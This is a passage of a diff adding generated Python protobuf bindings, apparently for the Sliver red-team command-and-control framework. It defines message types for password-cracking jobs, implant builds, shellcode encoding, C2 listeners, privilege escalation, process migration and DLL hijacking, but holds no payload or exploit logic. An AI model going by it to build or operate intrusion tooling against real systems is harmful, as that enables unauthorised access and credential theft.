\x01(\x05\x12\r\n\x05\x43lock\x18\x07 \x01(\x05\x12\x13\n\x0bMemoryTotal\x18\x08 \x01(\t\x12\x12\n\nMemoryFree\x18\t \x01(\t\x12\x14\n\x0cMetalVersion\x18\n \x01(\t\"\x8b\x13\n\x0c\x43rackCommand\x12-\n\nAttackMode\x18\x01 \x01(\x0e\x32\x19.clientpb.CrackAttackMode\x12$\n\x08HashType\x18\x02 \x01(\x0e\x32\x12.clientpb.HashType\x12\x0e\n\x06Hashes\x18\x03 \x03(\t\x12\r\n\x05Quiet\x18\x04 \x01(\x08\x12\x12\n\nHexCharset\x18\x05 \x01(\x08\x12\x0f\n\x07HexSalt\x18\x06 \x01(\x08\x12\x13\n\x0bHexWordlist\x18\x07 \x01(\x08\x12\r\n\x05\x46orce\x18\x08 \x01(\x08\x12\x1e\n\x16\x44\x65precatedCheckDisable\x18\t \x01(\x08\x12\x0e\n\x06Status\x18\n \x01(\x08\x12\x12\n\nStatusJSON\x18\x0b \x01(\x08\x12\x13\n\x0bStatusTimer\x18\x0c \x01(\r\x12\x19\n\x11StdinTimeoutAbort\x18\r \x01(\r\x12\x17\n\x0fMachineReadable\x18\x0e \x01(\x08\x12\x14\n\x0cKeepGuessing\x18\x0f \x01(\x08\x12\x17\n\x0fSelfTestDisable\x18\x10 \x01(\x08\x12\x10\n\x08Loopback\x18\x11 \x01(\x08\x12\x15\n\rMarkovHcstat2\x18\x12 \x01(\x0c\x12\x15\n\rMarkovDisable\x18\x13 \x01(\x08\x12\x15\n\rMarkovClassic\x18\x14 \x01(\x08\x12\x15\n\rMarkovInverse\x18\x15 \x01(\x08\x12\x17\n\x0fMarkovThreshold\x18\x16 \x01(\r\x12\x0f\n\x07Runtime\x18\x17 \x01(\r\x12\x0f\n\x07Session\x18\x18 \x01(\t\x12\x0f\n\x07Restore\x18\x19 \x01(\x08\x12\x16\n\x0eRestoreDisable\x18\x1a \x01(\x08\x12\x13\n\x0bRestoreFile\x18\x1b \x01(\x0c\x12\x33\n\rOutfileFormat\x18\x1d \x03(\x0e\x32\x1c.clientpb.CrackOutfileFormat\x12\x1d\n\x15OutfileAutohexDisable\x18\x1e \x01(\x08\x12\x19\n\x11OutfileCheckTimer\x18\x1f \x01(\r\x12\x1e\n\x16WordlistAutohexDisable\x18 \x01(\x08\x12\x11\n\tSeparator\x18! \x01(\t\x12\x0e\n\x06Stdout\x18\" \x01(\x08\x12\x0c\n\x04Show\x18# \x01(\x08\x12\x0c\n\x04Left\x18$ \x01(\x08\x12\x10\n\x08Username\x18% \x01(\x08\x12\x0e\n\x06Remove\x18& \x01(\x08\x12\x13\n\x0bRemoveTimer\x18\' \x01(\r\x12\x16\n\x0ePotfileDisable\x18( \x01(\x08\x12\x0f\n\x07Potfile\x18) \x01(\x0c\x12-\n\x0c\x45ncodingFrom\x18* \x01(\x0e\x32\x17.clientpb.CrackEncoding\x12+\n\nEncodingTo\x18+ \x01(\x0e\x32\x17.clientpb.CrackEncoding\x12\x11\n\tDebugMode\x18, \x01(\r\x12\x16\n\x0eLogfileDisable\x18\x30 \x01(\x08\x12\x19\n\x11HccapxMessagePair\x18\x31 \x01(\r\x12\x1d\n\x15NonceErrorCorrections\x18\x32 \x01(\r\x12\x1d\n\x15KeyboardLayoutMapping\x18\x33 \x01(\x0c\x12\x11\n\tBenchmark\x18\x38 \x01(\x08\x12\x14\n\x0c\x42\x65nchmarkAll\x18\x39 \x01(\x08\x12\x11\n\tSpeedOnly\x18: \x01(\x08\x12\x14\n\x0cProgressOnly\x18; \x01(\x08\x12\x13\n\x0bSegmentSize\x18< \x01(\r\x12\x11\n\tBitmapMin\x18= \x01(\r\x12\x11\n\tBitmapMax\x18> \x01(\r\x12\x13\n\x0b\x43PUAffinity\x18? \x03(\r\x12\x13\n\x0bHookThreads\x18@ \x01(\r\x12\x10\n\x08HashInfo\x18\x41 \x01(\x08\x12\x19\n\x11\x42\x61\x63kendIgnoreCUDA\x18\x43 \x01(\x08\x12\x18\n\x10\x42\x61\x63kendIgnoreHip\x18\x44 \x01(\x08\x12\x1a\n\x12\x42\x61\x63kendIgnoreMetal\x18\x45 \x01(\x08\x12\x1b\n\x13\x42\x61\x63kendIgnoreOpenCL\x18\x46 \x01(\x08\x12\x13\n\x0b\x42\x61\x63kendInfo\x18G \x01(\x08\x12\x16\n\x0e\x42\x61\x63kendDevices\x18H \x03(\r\x12\x19\n\x11OpenCLDeviceTypes\x18I \x03(\r\x12\x1d\n\x15OptimizedKernelEnable\x18J \x01(\x08\x12\x1d\n\x15MultiplyAccelDisabled\x18K \x01(\x08\x12\x37\n\x0fWorkloadProfile\x18L \x01(\x0e\x32\x1e.clientpb.CrackWorkloadProfile\x12\x13\n\x0bKernelAccel\x18M \x01(\r\x12\x13\n\x0bKernelLoops\x18N \x01(\r\x12\x15\n\rKernelThreads\x18O \x01(\r\x12\x1a\n\x12\x42\x61\x63kendVectorWidth\x18P \x01(\r\x12\x10\n\x08SpinDamp\x18Q \x01(\r\x12\x14\n\x0cHwmonDisable\x18R \x01(\x08\x12\x16\n\x0eHwmonTempAbort\x18S \x01(\r\x12\x12\n\nScryptTMTO\x18T \x01(\r\x12\x0c\n\x04Skip\x18U \x01(\x04\x12\r\n\x05Limit\x18V \x01(\x04\x12\x10\n\x08Keyspace\x18W \x01(\x08\x12\x11\n\tRulesFile\x18Z \x01(\x0c\x12\x15\n\rGenerateRules\x18[ \x01(\r\x12\x1b\n\x13GenerateRulesFunMin\x18\\ \x01(\r\x12\x1b\n\x13GenerateRulesFunMax\x18] \x01(\r\x12\x1c\n\x14GenerateRulesFuncSel\x18^ \x01(\t\x12\x19\n\x11GenerateRulesSeed\x18_ \x01(\x05\x12\x16\n\x0e\x43ustomCharset1\x18` \x01(\t\x12\x16\n\x0e\x43ustomCharset2\x18\x61 \x01(\t\x12\x16\n\x0e\x43ustomCharset3\x18\x62 \x01(\t\x12\x16\n\x0e\x43ustomCharset4\x18\x63 \x01(\t\x12\x10\n\x08Identify\x18\x64 \x01(\t\x12\x11\n\tIncrement\x18\x65 \x01(\x08\x12\x14\n\x0cIncrementMin\x18\x66 \x01(\r\x12\x14\n\x0cIncrementMax\x18g \x01(\r\x12\x16\n\x0eSlowCandidates\x18h \x01(\x08\x12\x13\n\x0b\x42rainServer\x18i \x01(\x08\x12\x18\n\x10\x42rainServerTimer\x18j \x01(\r\x12\x13\n\x0b\x42rainClient\x18k \x01(\x08\x12\x1b\n\x13\x42rainClientFeatures\x18l \x01(\t\x12\x11\n\tBrainHost\x18m \x01(\t\x12\x11\n\tBrainPort\x18n \x01(\r\x12\x15\n\rBrainPassword\x18o \x01(\t\x12\x14\n\x0c\x42rainSession\x18p \x01(\t\x12\x1d\n\x15\x42rainSessionWhitelist\x18q \x01(\t\"]\n\x0b\x43rackConfig\x12\x10\n\x08\x41utoFire\x18\x01 \x01(\x08\x12\x13\n\x0bMaxFileSize\x18\x02 \x01(\x03\x12\x11\n\tChunkSize\x18\x03 \x01(\x03\x12\x14\n\x0cMaxDiskUsage\x18\x04 \x01(\x03\"`\n\nCrackFiles\x12\"\n\x05\x46iles\x18\x01 \x03(\x0b\x32\x13.clientpb.CrackFile\x12\x18\n\x10\x43urrentDiskUsage\x18\x02 \x01(\x03\x12\x14\n\x0cMaxDiskUsage\x18\x03 \x01(\x03\"\x89\x02\n\tCrackFile\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x11\n\tCreatedAt\x18\x02 \x01(\x03\x12\x14\n\x0cLastModified\x18\x03 \x01(\x03\x12\x0c\n\x04Name\x18\x04 \x01(\t\x12\x18\n\x10UncompressedSize\x18\x05 \x01(\x03\x12\x10\n\x08Sha2_256\x18\x06 \x01(\t\x12%\n\x04Type\x18\x07 \x01(\x0e\x32\x17.clientpb.CrackFileType\x12\x14\n\x0cIsCompressed\x18\x08 \x01(\x08\x12\x13\n\x0bMaxFileSize\x18\t \x01(\x03\x12\x11\n\tChunkSize\x18\n \x01(\x03\x12(\n\x06\x43hunks\x18\x64 \x03(\x0b\x32\x18.clientpb.CrackFileChunk\"J\n\x0e\x43rackFileChunk\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x13\n\x0b\x43rackFileID\x18\x02 \x01(\t\x12\t\n\x01N\x18\x03 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\t \x01(\x0c*[\n\x0cOutputFormat\x12\x0e\n\nSHARED_LIB\x10\x00\x12\r\n\tSHELLCODE\x10\x01\x12\x0e\n\nEXECUTABLE\x10\x02\x12\x0b\n\x07SERVICE\x10\x03\x12\x0f\n\x0bTHIRD_PARTY\x10\x04*-\n\rStageProtocol\x12\x07\n\x03TCP\x10\x00\x12\x08\n\x04HTTP\x10\x01\x12\t\n\x05HTTPS\x10\x02*-\n\x08\x46ileType\x12\x0b\n\x07NO_FILE\x10\x00\x12\n\n\x06\x42INARY\x10\x01\x12\x08\n\x04TEXT\x10\x02*0\n\x10ShellcodeEncoder\x12\x08\n\x04NONE\x10\x00\x12\x12\n\x0eSHIKATA_GA_NAI\x10\x01*\x98\x13\n\x08HashType\x12\x07\n\x03MD5\x10\x00\x12\x08\n\x03MD4\x10\x84\x07\x12\x08\n\x04SHA1\x10\x64\x12\r\n\x08SHA2_224\x10\x94\n\x12\r\n\x08SHA2_256\x10\xf8\n\x12\r\n\x08SHA2_384\x10\xb0T\x12\r\n\x08SHA2_512\x10\xa4\r\x12\x0e\n\x08SHA3_224\x10\x94\x87\x01\x12\x0e\n\x08SHA3_256\x10\xf8\x87\x01\x12\x0e\n\x08SHA3_384\x10\xdc\x88\x01\x12\x0e\n\x08SHA3_512\x10\xc0\x89\x01\x12\x0f\n\nRIPEMD_160\x10\xf0.\x12\x10\n\x0b\x42LAKE2B_256\x10\xd8\x04\x12\x1a\n\x15GOST_R_32_11_2012_256\x10\xb4[\x12\x1a\n\x15GOST_R_32_11_2012_512\x10\x98\\\x12\x14\n\x0fGOST_R_34_11_94\x10\xf4\x35\x12\t\n\x03GPG\x10\xf2\x84\x01\x12\r\n\x08HALF_MD5\x10\xec\'\x12\x10\n\nKECCAK_224\x10\xa4\x8a\x01\x12\x10\n\nKECCAK_256\x10\x88\x8b\x01\x12\x10\n\nKECCAK_384\x10\xec\x8b\x01\x12\x10\n\nKECCAK_512\x10\xd0\x8c\x01\x12\x0e\n\tWHIRLPOOL\x10\xd4/\x12\x0c\n\x07SIPHASH\x10\xf4N\x12\x0f\n\x0bMD5_UTF16LE\x10\x46\x12\x11\n\x0cSHA1_UTF16LE\x10\xaa\x01\x12\x13\n\x0eSHA256_UTF16LE\x10\xbe\x0b\x12\x13\n\x0eSHA384_UTF16LE\x10\xf6T\x12\x13\n\x0eSHA512_UTF16LE\x10\xea\r\x12\x18\n\x13\x42LAKE2B_512_PW_SALT\x10\xe2\x04\x12\x18\n\x13\x42LAKE2B_512_SALT_PW\x10\xec\x04\x12\x0f\n\x0bMD5_PW_SALT\x10\n\x12\x0f\n\x0bMD5_SALT_PW\x10\x14\x12\x15\n\x10MD5_SALT_PW_SALT\x10\xd8\x1d\x12\x14\n\x0fMD5_SALT_MD5_PW\x10\xfe\x1c\x12\n\n\x05\x43RC32\x10\xecY\x12\x0c\n\x06\x43RC32C\x10\xfc\xd9\x01\x12\x10\n\nCRC64Jones\x10\xe0\xda\x01\x12\x11\n\x0bJAVA_OBJECT\x10\x8c\x92\x01\x12\x0c\n\x06MURMUR\x10\xe4\xc8\x01\x12\r\n\x07MURMUR3\x10\x98\xd9\x01\x12\x0e\n\tTHREE_DES\x10\x94n\x12\x08\n\x03\x44\x45S\x10\xb0m\x12\x11\n\x0b\x41\x45S_128_ECB\x10\xa1\xce\x01\x12\x11\n\x0b\x41\x45S_192_ECB\x10\xa2\xce\x01\x12\x11\n\x0b\x41\x45S_256_ECB\x10\xa3\xce\x01\x12\x0f\n\nCHA_CHA_20\x10\xa8x\x12\x1f\n\x1aLINUX_KERNEL_CRYPTO_API_24\x10\xa4q\x12\x0c\n\x07SKIP_32\x10\xb4t\x12\x14\n\x0fPBKDF2_HMAC_MD5\x10\xfc\\\x12\x15\n\x10PBKDF2_HMAC_SHA1\x10\xe0]\x12\x17\n\x12PBKDF2_HMAC_SHA256\x10\x94U\x12\x17\n\x12PBKDF2_HMAC_SHA512\x10\xc4^\x12\x0b\n\x06SCRYPT\x10\xc4\x45\x12\x0b\n\x06PHPASS\x10\x90\x03\x12\x10\n\x0bTACACS_PLUS\x10\xe4}\x12\x0f\n\nSIP_DIGEST\x10\x88Y\x12\x0c\n\x07IKE_MD5\x10\xb4)\x12\r\n\x08IKE_SHA1\x10\x98*\x12\x19\n\x13SNMP_V3_HMAC_MD5_96\x10\x8c\xc4\x01\x12\"\n\x1cSNMP_V3_HMAC_MD5_96__SHA1_96\x10\xa8\xc3\x01\x12\x1a\n\x14SNMP_V3_HMAC_SHA1_96\x10\xf0\xc4\x01\x12\x1d\n\x17SNMP_V3_HMAC_SHA224_128\x10\xcc\xd0\x01\x12\x1d\n\x17SNMP_V3_HMAC_SHA256_192\x10\xb0\xd1\x01\x12\x1d\n\x17SNMP_V3_HMAC_SHA384_256\x10\x94\xd2\x01\x12\x1d\n\x17SNMP_V3_HMAC_SHA512_384\x10\xa4\xd5\x01\x12\x15\n\x10WPA_EAPOL_PBKDF2\x10\xc4\x13\x12\x12\n\rWPA_EAPOL_PMK\x10\xc5\x13\x12\x1c\n\x16WPA_PBKDF2_PMKID_EAPOL\x10\xf0\xab\x01\x12\x19\n\x13WPA_PMK_PMKID_EAPOL\x10\xf1\xab\x01\x12\x16\n\x10WPA_PMKID_PBKDF2\x10\xa0\x83\x01\x12\x13\n\rWPA_PMKID_PMK\x10\xa1\x83\x01\x12\x19\n\x14IPMI2_PAKP_HMAC_SHA1\x10\x84\x39\x12\r\n\x08\x43RAM_MD5\x10\xd8O\x12\t\n\x03JWT\x10\xf4\x80\x01\x12\x0e\n\x08RADMIN_3\x10\x90\xe4\x01\x12\x19\n\x13KERBEROS_17_TGS_REP\x10\x90\x99\x01\x12\x19\n\x13KERBEROS_17_PREAUTH\x10\xd8\x9a\x01\x12\x14\n\x0eKERBEROS_17_DB\x10\x80\xe1\x01\x12\x19\n\x13KERBEROS_18_TGS_REP\x10\xf4\x99\x01\x12\x19\n\x13KERBEROS_18_PREAUTH\x10\xbc\x9b\x01\x12\x14\n\x0eKERBEROS_18_DB\x10\xe4\xe1\x01\x12\x1f\n\x1aKERBEROS_23_SA_REQ_PREAUTH\x10\xcc:\x12\x18\n\x13KERBEROS_23_TGS_REP\x10\xac\x66\x12\x18\n\x12KERBEROS_23_AS_REP\x10\x98\x8e\x01\x12\x10\n\x0bNET_NTLM_V1\x10\xfc*\x12\x14\n\x0eNET_NTLM_V1_NT\x10\xf8\xd2\x01\x12\x10\n\x0bNET_NTLM_V2\x10\xe0+\x12\x14\n\x0eNET_NTLM_V2_NT\x10\xdc\xd3\x01\x12\x0b\n\x05\x46LASK\x10\xac\xe3\x01\x12\x0f\n\nISCSI_CHAP\x10\xc0%\x12\t\n\x04RACF\x10\xb4\x42\x12\r\n\x08\x41IX_SMD5\x10\x9c\x31\x12\x0e\n\tAIX_SSHA1\x10\xac\x34\x12\x10\n\x0b\x41IX_SSHA256\x10\x80\x32\x12\x10\n\x0b\x41IX_SSHA512\x10\xe4\x32\x12\x07\n\x02LM\x10\xb8\x17\x12\r\n\x07QNX_MD5\x10\xb8\x94\x01\x12\x10\n\nQNX_SHA256\x10\x9c\x95\x01\x12\x10\n\nQNX_SHA512\x10\x80\x96\x01\x12\x19\n\x14\x44PAPI_V1_CTX_1_AND_2\x10\xc4w\x12\x13\n\x0e\x44PAPI_V1_CTX_3\x10\xcew\x12\x19\n\x14\x44PAPI_V2_CTX_1_AND_2\x10\x9c|\x12\x13\n\x0e\x44PAPI_V2_CTX_3\x10\xa6|\x12\x0b\n\x06GRUB_2\x10\xa0\x38\x12\x12\n\rMS_AZURE_SYNC\x10\x80\x64\x12\x0f\n\nBSDI_CRYPT\x10\xf0`\x12\t\n\x04NTLM\x10\xe8\x07\x12\x0c\n\x07RADMIN2\x10\xacM\x12\x14\n\x0fSAMSUNG_ANDROID\x10\xa8-\x12\x17\n\x11WINDOWS_HELLO_PIN\x10\xc4\xdb\x01\x12\x12\n\rWINDOWS_PHONE\x10\xe8k\x12\x12\n\rCISCO_ASA_MD5\x10\xea\x12\x12\x1c\n\x17\x43ISCO_IOS_PBKDF2_SHA256\x10\xf0G\x12\x15\n\x10\x43ISCO_IOS_SCRYPT\x10\xd4H\x12\x12\n\rCISCO_PIX_MD5\x10\xe0\x12\x12\x1a\n\x15\x43ITRIX_NETSCALER_SHA1\x10\xa4?\x12\x1d\n\x17\x43ITRIX_NETSCALER_SHA512\x10\xb8\xad\x01\x12\x08\n\x03\x44\x43\x43\x10\xcc\x08\x12\t\n\x04\x44\x43\x43\x32\x10\xb4\x10\x12\x0f\n\nMACOS_10_8\x10\xbc\x37\x12\x0c\n\x07INVALID\x10\x8fN\x12\x10\n\x0b\x42\x43RYPT_UNIX\x10\x80\x19\x12\x16\n\x11SHA512_CRYPT_UNIX\x10\x88\x0e*2\n\x06States\x12\x08\n\x04IDLE\x10\x00\x12\x0c\n\x08\x43RACKING\x10\x01\x12\x10\n\x0cINITIALIZING\x10\x02*<\n\x0e\x43rackJobStatus\x12\x0f\n\x0bIN_PROGRESS\x10\x00\x12\r\n\tCOMPLETED\x10\x01\x12\n\n\x06\x46\x41ILED\x10\x02*\x94\x01\n\x0f\x43rackAttackMode\x12\x0c\n\x08STRAIGHT\x10\x00\x12\x0f\n\x0b\x43OMBINATION\x10\x01\x12\x0e\n\nBRUTEFORCE\x10\x03\x12\x18\n\x14HYBRID_WORDLIST_MASK\x10\x06\x12\x18\n\x14HYBRID_MASK_WORDLIST\x10\x07\x12\x0f\n\x0b\x41SSOCIATION\x10\t\x12\r\n\tNO_ATTACK\x10\n*D\n\rCrackEncoding\x12\x14\n\x10INVALID_ENCODING\x10\x00\x12\x0f\n\x0bISO_8859_15\x10\x01\x12\x0c\n\x08UTF_32LE\x10\x02*\x90\x01\n\x12\x43rackOutfileFormat\x12\x12\n\x0eINVALID_FORMAT\x10\x00\x12\r\n\tHASH_SALT\x10\x01\x12\t\n\x05PLAIN\x10\x02\x12\r\n\tHEX_PLAIN\x10\x03\x12\r\n\tCRACK_POS\x10\x04\x12\x16\n\x12TIMESTAMP_ABSOLUTE\x10\x05\x12\x16\n\x12TIMESTAMP_RELATIVE\x10\x06*c\n\x14\x43rackWorkloadProfile\x12\x1c\n\x18INVALID_WORKLOAD_PROFILE\x10\x00\x12\x07\n\x03LOW\x10\x01\x12\x0b\n\x07\x44\x45\x46\x41ULT\x10\x02\x12\x08\n\x04HIGH\x10\x03\x12\r\n\tNIGHTMARE\x10\x04*N\n\rCrackFileType\x12\x10\n\x0cINVALID_TYPE\x10\x00\x12\x0c\n\x08WORDLIST\x10\x01\x12\t\n\x05RULES\x10\x02\x12\x12\n\x0eMARKOV_HCSTAT2\x10\x03\x42/Z-github.com/bishopfox/sliver/protobuf/clientpbb\x06proto3')
+
+_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
+_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'clientpb.client_pb2', globals())
+if _descriptor._USE_C_DESCRIPTORS == False:
+
+ DESCRIPTOR._options = None
+ DESCRIPTOR._serialized_options = b'Z-github.com/bishopfox/sliver/protobuf/clientpb'
+ _TRAFFICENCODERMAP_ENCODERSENTRY._options = None
+ _TRAFFICENCODERMAP_ENCODERSENTRY._serialized_options = b'8\001'
+ _IMPLANTBUILDS_CONFIGSENTRY._options = None
+ _IMPLANTBUILDS_CONFIGSENTRY._serialized_options = b'8\001'
+ _CREATETUNNEL.fields_by_name['TunnelID']._options = None
+ _CREATETUNNEL.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _CLOSETUNNELREQ.fields_by_name['TunnelID']._options = None
+ _CLOSETUNNELREQ.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _WEBCONTENT.fields_by_name['Size']._options = None
+ _WEBCONTENT.fields_by_name['Size']._serialized_options = b'0\001'
+ _WEBSITEADDCONTENT_CONTENTSENTRY._options = None
+ _WEBSITEADDCONTENT_CONTENTSENTRY._serialized_options = b'8\001'
+ _WEBSITE_CONTENTSENTRY._options = None
+ _WEBSITE_CONTENTSENTRY._serialized_options = b'8\001'
+ _HOST_EXTENSIONDATAENTRY._options = None
+ _HOST_EXTENSIONDATAENTRY._serialized_options = b'8\001'
+ _SHELLCODEENCODERMAP_ENCODERSENTRY._options = None
+ _SHELLCODEENCODERMAP_ENCODERSENTRY._serialized_options = b'8\001'
+ _CRACKSYNCSTATUS_PROGRESSENTRY._options = None
+ _CRACKSYNCSTATUS_PROGRESSENTRY._serialized_options = b'8\001'
+ _CRACKBENCHMARK_BENCHMARKSENTRY._options = None
+ _CRACKBENCHMARK_BENCHMARKSENTRY._serialized_options = b'8\001'
+ _CRACKSTATION_BENCHMARKSENTRY._options = None
+ _CRACKSTATION_BENCHMARKSENTRY._serialized_options = b'8\001'
+ _OUTPUTFORMAT._serialized_start=14632
+ _OUTPUTFORMAT._serialized_end=14723
+ _STAGEPROTOCOL._serialized_start=14725
+ _STAGEPROTOCOL._serialized_end=14770
+ _FILETYPE._serialized_start=14772
+ _FILETYPE._serialized_end=14817
+ _SHELLCODEENCODER._serialized_start=14819
+ _SHELLCODEENCODER._serialized_end=14867
+ _HASHTYPE._serialized_start=14870
+ _HASHTYPE._serialized_end=17326
+ _STATES._serialized_start=17328
+ _STATES._serialized_end=17378
+ _CRACKJOBSTATUS._serialized_start=17380
+ _CRACKJOBSTATUS._serialized_end=17440
+ _CRACKATTACKMODE._serialized_start=17443
+ _CRACKATTACKMODE._serialized_end=17591
+ _CRACKENCODING._serialized_start=17593
+ _CRACKENCODING._serialized_end=17661
+ _CRACKOUTFILEFORMAT._serialized_start=17664
+ _CRACKOUTFILEFORMAT._serialized_end=17808
+ _CRACKWORKLOADPROFILE._serialized_start=17810
+ _CRACKWORKLOADPROFILE._serialized_end=17909
+ _CRACKFILETYPE._serialized_start=17911
+ _CRACKFILETYPE._serialized_end=17989
+ _VERSION._serialized_start=59
+ _VERSION._serialized_end=190
+ _CLIENTCONSOLELOGDATA._serialized_start=192
+ _CLIENTCONSOLELOGDATA._serialized_end=240
+ _SESSION._serialized_start=243
+ _SESSION._serialized_end=677
+ _BEACON._serialized_start=680
+ _BEACON._serialized_end=1181
+ _BEACONS._serialized_start=1183
+ _BEACONS._serialized_end=1227
+ _BEACONTASK._serialized_start=1230
+ _BEACONTASK._serialized_end=1399
+ _BEACONTASKS._serialized_start=1401
+ _BEACONTASKS._serialized_end=1469
+ _IMPLANTC2._serialized_start=1471
+ _IMPLANTC2._serialized_end=1530
+ _IMPLANTCONFIG._serialized_start=1533
+ _IMPLANTCONFIG._serialized_end=2634
+ _TRAFFICENCODER._serialized_start=2636
+ _TRAFFICENCODER._serialized_end=2729
+ _TRAFFICENCODERMAP._serialized_start=2732
+ _TRAFFICENCODERMAP._serialized_end=2887
+ _TRAFFICENCODERMAP_ENCODERSENTRY._serialized_start=2814
+ _TRAFFICENCODERMAP_ENCODERSENTRY._serialized_end=2887
+ _TRAFFICENCODERTEST._serialized_start=2889
+ _TRAFFICENCODERTEST._serialized_end=3006
+ _TRAFFICENCODERTESTS._serialized_start=3009
+ _TRAFFICENCODERTESTS._serialized_end=3161
+ _EXTERNALIMPLANTCONFIG._serialized_start=3163
+ _EXTERNALIMPLANTCONFIG._serialized_end=3246
+ _EXTERNALIMPLANTBINARY._serialized_start=3248
+ _EXTERNALIMPLANTBINARY._serialized_end=3340
+ _IMPLANTBUILDS._serialized_start=3343
+ _IMPLANTBUILDS._serialized_end=3486
+ _IMPLANTBUILDS_CONFIGSENTRY._serialized_start=3415
+ _IMPLANTBUILDS_CONFIGSENTRY._serialized_end=3486
+ _COMPILERTARGET._serialized_start=3488
+ _COMPILERTARGET._serialized_end=3574
+ _CROSSCOMPILER._serialized_start=3576
+ _CROSSCOMPILER._serialized_end=3666
+ _COMPILER._serialized_start=3669
+ _COMPILER._serialized_end=3855
+ _DELETEREQ._serialized_start=3857
+ _DELETEREQ._serialized_end=3882
+ _DNSCANARY._serialized_start=3885
+ _DNSCANARY._serialized_end=4014
+ _CANARIES._serialized_start=4016
+ _CANARIES._serialized_end=4065
+ _UNIQUEWGIP._serialized_start=4067
+ _UNIQUEWGIP._serialized_end=4091
+ _IMPLANTPROFILE._serialized_start=4093
+ _IMPLANTPROFILE._serialized_end=4164
+ _IMPLANTPROFILES._serialized_start=4166
+ _IMPLANTPROFILES._serialized_end=4227
+ _REGENERATEREQ._serialized_start=4229
+ _REGENERATEREQ._serialized_end=4265
+ _JOB._serialized_start=4267
+ _JOB._serialized_end=4389
+ _JOBS._serialized_start=4391
+ _JOBS._serialized_end=4428
+ _KILLJOBREQ._serialized_start=4430
+ _KILLJOBREQ._serialized_end=4454
+ _KILLJOB._serialized_start=4456
+ _KILLJOB._serialized_end=4494
+ _MTLSLISTENERREQ._serialized_start=4496
+ _MTLSLISTENERREQ._serialized_end=4561
+ _MTLSLISTENER._serialized_start=4563
+ _MTLSLISTENER._serialized_end=4592
+ _WGLISTENERREQ._serialized_start=4594
+ _WGLISTENERREQ._serialized_end=4704
+ _WGLISTENER._serialized_start=4706
+ _WGLISTENER._serialized_end=4733
+ _DNSLISTENERREQ._serialized_start=4735
+ _DNSLISTENERREQ._serialized_end=4854
+ _DNSLISTENER._serialized_start=4856
+ _DNSLISTENER._serialized_end=4884
+ _HTTPLISTENERREQ._serialized_start=4887
+ _HTTPLISTENERREQ._serialized_end=5134
+ _NAMEDPIPESREQ._serialized_start=5136
+ _NAMEDPIPESREQ._serialized_end=5205
+ _NAMEDPIPES._serialized_start=5207
+ _NAMEDPIPES._serialized_end=5287
+ _TCPPIVOTREQ._serialized_start=5289
+ _TCPPIVOTREQ._serialized_end=5355
+ _TCPPIVOT._serialized_start=5357
+ _TCPPIVOT._serialized_end=5435
+ _HTTPLISTENER._serialized_start=5437
+ _HTTPLISTENER._serialized_end=5466
+ _SESSIONS._serialized_start=5468
+ _SESSIONS._serialized_end=5515
+ _RENAMEREQ._serialized_start=5517
+ _RENAMEREQ._serialized_end=5579
+ _GENERATEREQ._serialized_start=5581
+ _GENERATEREQ._serialized_end=5635
+ _GENERATE._serialized_start=5637
+ _GENERATE._serialized_end=5677
+ _MSFREQ._serialized_start=5680
+ _MSFREQ._serialized_end=5808
+ _MSFREMOTEREQ._serialized_start=5811
+ _MSFREMOTEREQ._serialized_end=5958
+ _STAGERLISTENERREQ._serialized_start=5961
+ _STAGERLISTENERREQ._serialized_end=6127
+ _STAGERLISTENER._serialized_start=6129
+ _STAGERLISTENER._serialized_end=6160
+ _SHELLCODERDIREQ._serialized_start=6162
+ _SHELLCODERDIREQ._serialized_end=6234
+ _SHELLCODERDI._serialized_start=6236
+ _SHELLCODERDI._serialized_end=6264
+ _MSFSTAGERREQ._serialized_start=6267
+ _MSFSTAGERREQ._serialized_end=6412
+ _MSFSTAGER._serialized_start=6414
+ _MSFSTAGER._serialized_end=6455
+ _GETSYSTEMREQ._serialized_start=6457
+ _GETSYSTEMREQ._serialized_end=6572
+ _MIGRATEREQ._serialized_start=6575
+ _MIGRATEREQ._serialized_end=6722
+ _CREATETUNNELREQ._serialized_start=6724
+ _CREATETUNNELREQ._serialized_end=6777
+ _CREATETUNNEL._serialized_start=6779
+ _CREATETUNNEL._serialized_end=6834
+ _CLOSETUNNELREQ._serialized_start=6836
+ _CLOSETUNNELREQ._serialized_end=6910
+ _PIVOTGRAPHENTRY._serialized_start=6913
+ _PIVOTGRAPHENTRY._serialized_end=7041
+ _PIVOTGRAPH._serialized_start=7043
+ _PIVOTGRAPH._serialized_end=7100
+ _CLIENT._serialized_start=7102
+ _CLIENT._serialized_end=7174
+ _EVENT._serialized_start=7177
+ _EVENT._serialized_end=7328
+ _OPERATORS._serialized_start=7330
+ _OPERATORS._serialized_end=7380
+ _OPERATOR._serialized_start=7382
+ _OPERATOR._serialized_end=7422
+ _WEBCONTENT._serialized_start=7424
+ _WEBCONTENT._serialized_end=7506
+ _WEBSITEADDCONTENT._serialized_start=7509
+ _WEBSITEADDCONTENT._serialized_end=7674
+ _WEBSITEADDCONTENT_CONTENTSENTRY._serialized_start=7605
+ _WEBSITEADDCONTENT_CONTENTSENTRY._serialized_end=7674
+ _WEBSITEREMOVECONTENT._serialized_start=7676
+ _WEBSITEREMOVECONTENT._serialized_end=7727
+ _WEBSITE._serialized_start=7730
+ _WEBSITE._serialized_end=7875
+ _WEBSITE_CONTENTSENTRY._serialized_start=7605
+ _WEBSITE_CONTENTSENTRY._serialized_end=7674
+ _WEBSITES._serialized_start=7877
+ _WEBSITES._serialized_end=7924
+ _WGCLIENTCONFIG._serialized_start=7926
+ _WGCLIENTCONFIG._serialized_end=8030
+ _LOOT._serialized_start=8033
+ _LOOT._serialized_end=8171
+ _ALLLOOT._serialized_start=8173
+ _ALLLOOT._serialized_end=8212
+ _IOC._serialized_start=8214
+ _IOC._serialized_end=8263
+ _EXTENSIONDATA._serialized_start=8265
+ _EXTENSIONDATA._serialized_end=8296
+ _HOST._serialized_start=8299
+ _HOST._serialized_end=8564
+ _HOST_EXTENSIONDATAENTRY._serialized_start=8487
+ _HOST_EXTENSIONDATAENTRY._serialized_end=8564
+ _ALLHOSTS._serialized_start=8566
+ _ALLHOSTS._serialized_end=8607
+ _DLLHIJACKREQ._serialized_start=8610
+ _DLLHIJACKREQ._serialized_end=8772
+ _DLLHIJACK._serialized_start=8774
